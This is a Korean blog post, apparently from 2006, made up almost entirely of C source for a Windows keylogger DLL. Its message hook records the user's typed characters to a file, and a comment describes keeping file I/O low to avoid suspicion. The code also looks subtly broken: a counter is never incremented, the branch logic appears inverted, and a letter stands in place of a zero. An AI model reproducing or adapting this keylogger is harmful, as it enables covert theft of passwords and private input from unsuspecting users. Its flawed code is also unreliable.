#include <windows.h>
#define BUFFER_SIZE 50
HINSTANCE hinst;
#define EXPORT __declspec( dllexport )
static char str[BUFFER_SIZE];
static int count = 0;
static int Max_buf = 50;
static BOOL stop = FALSE;
BOOL WINAPI DllMain( HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved )
{
....if ( dwReason == DLL_PROCESS_ATTACH )
....{
........hinst = hinstDll;
........str[0] = 0;
....}
....return TRUE;
}
EXPORT LRESULT CALLBACK GetMsgProc( int nCode, WPARAM wp, LPARAM lp )
{
....HFILE hFile;
....long msgTemp;
....char strTemp[2];
...
....if ( nCode >= 0 )
....{
........// 사용자가 입력하는 모든 메시지 가져오기
........msgTemp = ((MSG*)lp)->message;
........// 50자씩 버퍼에 넣어두고 넘어가면 파일에 기록한다.
........// 파일 I/O가 빈번하여 시스템 속도가 저하되면 의심을 받을수 있다.
........if (count < (Max_buf+2))
........{
........
............// WM_CHAR(문자)만 기록한다.
............if ((!stop) && ( msgTemp == (long)WM_CHAR ))
............{
................// <CRCF>두번 넣음
................char a[5] = { 13, 10, 13, 10, 0 };
................hFile = _lopen( "result.txt", OF_READWRITE );
................if (hFile < 0)
................{
....................hFile = _lcreat( "result.txt", O );
...................._llseek( hFile, 0L, FILE_BEGIN );
................} else {
...................._llseek( hFile, 0L, FILE_END );
................}
...................._lwrite( hFile, a, 5 );
...................._lwrite( hFile, str, BUFFER_SIZE );
...................._lclose( hFile );
....................stop = TRUE;
............}
........} else {
............strTemp[0] = ((MSG*)lp)->wParam;
............strTemp[1] = 0;
............strcat( str, strTemp );
........}
....}
....return (stop) ? TRUE:CallNextHookEx(NULL, nCode, wp, lp);
}
'MY IT' 카테고리의 다른 글
스누핑 프로그램 심기 (0) | 2006.03.22 |
---|---|
키보드 해킹 (0) | 2006.03.22 |
리눅스 커널에 시스템 콜 추가하기 (0) | 2006.03.19 |
Shell로 만든 DB ( Bash-shell) (0) | 2005.08.06 |
File Lock (0) | 2005.08.03 |